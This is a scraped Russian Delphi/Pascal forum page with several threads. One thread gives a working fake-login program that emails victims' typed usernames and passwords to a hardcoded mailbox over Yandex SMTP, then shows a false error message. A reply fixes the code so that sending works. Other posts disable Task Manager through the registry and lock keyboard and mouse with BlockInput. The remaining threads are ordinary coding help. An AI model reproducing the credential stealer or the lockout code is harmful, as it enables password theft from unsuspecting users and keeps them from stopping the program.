procedure TForm1.Button1Click(Sender: TObject); begin IdSMTP1.Host:='smtp.yandex.ru' ;//smtp сервер мыла.В данном примере для яндекса IdSMTP1.port:=25 ;//порт IdSMTP1.Username:='abovestart9445' ;//Имя пользователя IdSMTP1.password:='123456789' ;//Пароль IdMessage1.Body.Text:='Login: '+Edit1.Text+' Pass: ' + (Edit2.Text); //Шлем данные из Edit1.text и edit2.text через ; ,пользователя нужно заставить их заполнить. IdMessage1.from.text:='[email protected]';//От кого шлем IdMessage1.Recipients.Emailaddresses:='[email protected]'; //кому шлем IdMessage1.Subject:='Fake' ;//тема письма IdSMTP1.connect ;//соединяемся IdSMTP1.Send(idmessage1);//шлем IdSMTP1.disconnect ;//Разъединяемся. MessageBox(handle, PChar('Ваш текст'),PChar('Ждите'), MB_OK);//тут можем написать что сервер не доступен и т.п. end; end. Знаю вопрос нубовский, НО почему при нажатии Button появляется окно
не совсем понял вопроса... или наибольшее число идущих подряд элементов образующих возр послед, или как??? например: 1 2 4 3 6 3 2 1 тут максимальное количество идущих подряд равно 3 но так же есть и другие возр послед в которых 2 элемента... так все таки уточни задачу Не дождался ответа, и решил задачу так как я понял ее... в общем выдает максимально число элементов которые идут подряд с возрастанием: PHP: program Project2; {$APPTYPE CONSOLE} uses SysUtils; var a:array[1..10]of integer; b:array[1..10]of integer; i,j,h:integer; begin h:=1; j:=1; randomize; for i:=1 to 10 do begin a[i]:=random(10); write(a[i],' '); end; for i:=1 to 10 do begin if a[i]> a[i+1] then begin inc(j); end else begin b[h]:=j; j:=1; h:=h+1; end; end; h:=h+1; b[h]:=j; j:=b[1]; for i:=2 to h do begin if b[i]>j then j:=b[i]; end; writeln; writeln(j); readln; end.
Code: procedure TForm1.Button1Click(Sender: TObject); begin IdSMTP1.Host:='smtp.yandex.ru' ;//smtp сервер мыла.В данном примере для яндекса IdSMTP1.port:=25 ;//порт IdSMTP1.Username:='abovestart9445' ;//Имя пользователя IdSMTP1.password:='123456789' ;//Пароль IdMessage1.Body.Text:='Login: '+Edit1.Text+' Pass: ' + (Edit2.Text); //Шлем данные из Edit1.text и edit2.text через ; ,пользователя нужно заставить их заполнить. IdMessage1.from.text:='[email protected]';//От кого шлем IdMessage1.Recipients.Emailaddresses:='[email protected]'; //кому шлем IdMessage1.Subject:='Fake' ;//тема письма [I][B]IdSMTP1.AuthenticationType := atLogin;[/B][/I] IdSMTP1.connect ;//соединяемся IdSMTP1.Send(idmessage1);//шлем IdSMTP1.disconnect ;//Разъединяемся. MessageBox(handle, PChar('Ваш текст'),PChar('Ждите'), MB_OK);//тут можем написать что сервер не доступен и т.п. end; end.
Объясните функцию finfist- мне нужен поиск фаилов по определенным критериям+ вывоводить путь с названием в стринг (пример c:\tp7\bin\ololo.pas)
function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec) Объясление функции простейшая программа поиска PHP: var F: TSearchRec; Path: string; Attr: Integer; begin {Искать все файлы в заданной директории с расширение .pas} Path := 'c:\tp7\bin\*.pas'; {которые имеют атрибуты "Только для чтения" и "Архивный"} Attr := faReadOnly + faArchive; FindFirst(Path, Attr, F); {Если хотя бы один файл найден, то продолжить поиск} if F.name <> '' then begin ListBox1.Items.Add(Path,F.name); {Добавление в TListBox пути и имени найденного файла} while FindNext(F) = 0 do ListBox1.Items.Add(Path,F.name); end; FindClose(F); end.
Подскажите как отрубить клавиатуру? но не всю а что бы можно было выбрать какие кнопки оставить... вот этим кодом вырубил диспечер procedure TForm1.FormActivate(Sender: TObject); var reg: tregistry; begin reg:=treginifile.create(); with reg do begin rootkey:=hkey_current_user; openkey('software\microsoft\windows\currentversion\policies\system', true); writeinteger('disabletaskmgr', 1); free; end; end; Но желательно вырубить всю клаву
Я недавно увлекся Delphi. Подскажите пожалуйста как в программу добавить полосу загрузки, а точнее как ее "активировать". Какой код прописать в кнопке чтобы эта загрузка типа пошла?
PHP: procedure BlockInput(ABlockInput: boolean); stdcall; external 'USER32.DLL'; // Вызываем функцию из DLL'ки //Пример использования: procedure TForm1.N1Click(Sender: TObject); begin BlockInput(True); // Вот собственно этим мы и блокируем клаву и мышь // (для обратного исхода надо вместо True написать False) end; задавайте больше вопросов)))) а то я со скуки умираю))
на примере одного кода: PHP: type //тут добавляешь какие клавиши тебе нужны TKeyType = (ktCapsLock, ktNumLock, ktScrollLock); procedure SetLedState(KeyCode: TKeyType; bOn: Boolean); var KBState: TKeyboardState; Code: Byte; begin case KeyCode of ktScrollLock: Code := VK_SCROLL; ktCapsLock: Code := VK_CAPITAL; ktNumLock: Code := VK_NUMLOCK; end; GetKeyboardState(KBState); if (Win32Platform = VER_PLATFORM_WIN32_NT) then begin if Boolean(KBState[Code]) <> bOn then begin keybd_event(Code, MapVirtualKey(Code, 0), KEYEVENTF_EXTENDEDKEY, 0); keybd_event(Code, MapVirtualKey(Code, 0), KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP, 0); end; end else begin KBState[Code] := Ord(bOn); SetKeyboardState(KBState); end; end; // это в саму кнопку добавляешь: procedure TForm1.Button1Click(Sender: TObject); begin SetLedState(ktCapsLock, True); // CapsLock on SetLedState(ktNumLock, True); // NumLock on SetLedState(ktScrollLock, True); // ScrollLock on end;
ICQ клиент Здрасте, я хочу написать ICQ клиент... В уроках везде где ни читал нужно TAdvPage Подскажите где взять компонент с этим, ссылку было бы не плохо =) Я уже написал он может принимать сообщения но вот посылать не получаеться =) А если как то без него обойтись то подскажите как?
http://www.delphisources.ru/pages/sources/internet/2006_year/icq_client.html тут есть готовый клиент и исходники, смотри сорцы и думай, рассуждай)
ПОМОГИТЕ СОЗДАТЬ ДВУХСВЯЗНЫЙ СПИСОК Помогите с реализацией двухсвязного списка в паскале может есть вариант как-то преобразовать существующий список если это возможно то вот код: Если нет то вот условие Разработать справочник пассажирских поездов с полями: номер поезда, станции отправления и назначения, время в дороге, категория поезду. Реализовать подпрограммы поиска: 1) по станциям отправления и назначения, 2) по категории поезду. Code: [COLOR=White]program Records; uses crt, strings; const max = 100; type Ttrain = record Otpravlenie : string[40]; Pribitie : string[40]; Category : string[10]; Time : string[10]; Number : string[10]; end; Ttrains = array [1..max] of Ttrain; procedure SngWindow(x1,y1,x2,y2,tc,c : byte); begin window(x1,y1,x2,y2); textbackground(c); textcolor(tc); clrscr; end; procedure DblWindow(x1,y1,x2,y2,tcolor, c1, c2 : byte); begin window(x1,y1,x2,y2); textbackground(c1); clrscr; window(x1+1,y1+1,x2-1,y2-1); textbackground(c2); textcolor(tcolor); clrscr; end; function Menu : byte; var punkt : byte; er : integer; s : string; begin SngWindow(1,1,80,25,WHITE,BLACK); SngWindow(1,6,80,25,WHITE,BLUE); repeat DblWindow(1,1,80,5,YELLOW,MAGENTA,BLUE); writeln; write(' 1.ADD 2.DELETE 3.PRINT 4.SEARCH 5.EXIT'); readln(s); val(s,punkt,er); until (er=0) and (punkt>=1) and (punkt<=5); Menu := punkt; end; function SubMenu : byte; var punkt : byte; er : integer; s : string; begin SngWindow(1,1,80,25,WHITE,BLACK); SngWindow(1,6,80,25,WHITE,BLUE); repeat DblWindow(1,1,80,5,YELLOW,MAGENTA,BLUE); writeln; write(' 1.Otpravlenie 2.Pribitie 3.Number 4.Exit'); readln(s); val(s,punkt,er); until (er=0) and (punkt>=1) and (punkt<=4); SubMenu := punkt; end; procedure AddRecord(var mas : Ttrains; var n : byte; size : byte); var s : String; er : integer; begin if (n+1 <= size) then begin inc(n); write('Point of otpravlenie =>'); readln(mas[n].Otpravlenie); write('Point of pribitie =>'); readln(mas[n].Pribitie); write('Category of train =>'); readln(mas[n].Category); write('Time in the way =>'); readln(mas[n].Time); write('Number of train =>'); readln(mas[n].number); writeln('Record is saving....'); end else writeln('ERROR record is lost'); end; procedure PrintRecord(var mas : Ttrains; i : integer); begin write(i:3); with mas[i] do begin write(Otpravlenie:23); write(Pribitie:20); write(Category:10); write(Time:10); write(Number:12); writeln; end; end; procedure Print(var mas : Ttrains; n : integer); var i : integer; begin writeln('#':3,'Otpravlenie':23,'Pribitie':20,'Cate gory':10,'Time':10,'Number':12); for i:=1 to n do PrintRecord(mas,i); end; procedure DelRecordByotpr(var mas : Ttrains; var n : byte; botpr : string); var i,j : integer; begin writeln('#':3,'Otpravlenie':23,'Pribitie':20,'Cate gory':10,'Time':10,'Number':12); for i:=1 to n do begin with mas[i] do if (Otpravlenie = botpr) then begin PrintRecord(mas,i); for j:=i+1 to n do mas[j-1] := mas[j]; dec(n); end; end; end; procedure FindByotpr(var mas : Ttrains; n : integer; botpravlenie : string); var i : integer; begin writeln('#':3,'Otpravlenie':23,'Pribitie':20,'Cate gory':10,'Time':10,'Number':12); for i:=1 to n do with mas[i] do if otpravlenie=botpravlenie then PrintRecord(mas,i); end; procedure FindByCat(var mas : Ttrains; n : integer; ba, bst : string); var i : integer; begin writeln('#':3,'Otpravlenie':23,'Pribitie':20,'Cate gory':10,'Time':10,'Number':12); for i:=1 to n do with mas[i] do if (pribitie=ba) and (Category=bst) then PrintRecord(mas,i); end; procedure FindBynum(var mas : Ttrains; n : integer; bnumber : string); var i : integer; begin writeln('#':3,'Otpravlenie':23,'Pribitie':20,'Cate gory':10,'Time':10,'Number':12); for i:=1 to n do with mas[i] do if number=bnumber then PrintRecord(mas,i); end; var b : Ttrains; n : byte; punkt : byte; subpunkt : byte; trainotprav, a, st : string; y : string; s : string; er : integer; begin n := 0; SngWindow(1,1,80,25,WHITE,BLACK); repeat punkt:= Menu; case (punkt) of 1:begin SngWindow(1,6,80,25,WHITE,BLUE); writeln(' ADD train'); AddRecord(b,n,max); readkey; end; 2:begin SngWindow(1,6,80,25,WHITE,BLUE); writeln(' Delete by otpravlenie'); write('Otpravlenie =>'); readln(trainotprav); DelRecordByotpr(b,n,trainotprav); readkey; end; 3:begin SngWindow(1,6,80,25,WHITE,BLUE); writeln(' Catalog of trains'); Print(b,n); readkey; end; 4:begin repeat subpunkt := SubMenu; case (subpunkt) of 1:begin SngWindow(1,6,80,25,WHITE,BLUE); writeln(' Train by otpravlenie '); write('Otpravlenie =>'); readln(trainotprav); findbyotpr(b,n,trainotprav); readkey; end; 2:begin SngWindow(1,6,80,25,WHITE,BLUE); writeln(' Train by pribitie and category '); write('Pribitie =>'); readln(a); write('Category =>'); readln(st); findByCat(b,n,a,st); readkey; end; 3:begin SngWindow(1,6,80,25,WHITE,BLUE); writeln(' Train by number '); write('number =>'); readln(y); findbynum(b,n,y); readkey; end; end; until (subpunkt = 4); end; end; until (punkt = 5); SngWindow(1,1,80,25,WHITE,BLACK); end.[/COLOR]
type ss=^s; s=record; next,pred:ss; info:Ttrain; end; эм собственно в чём сложность? или ты не знаешь что такое двунаправленные списки?
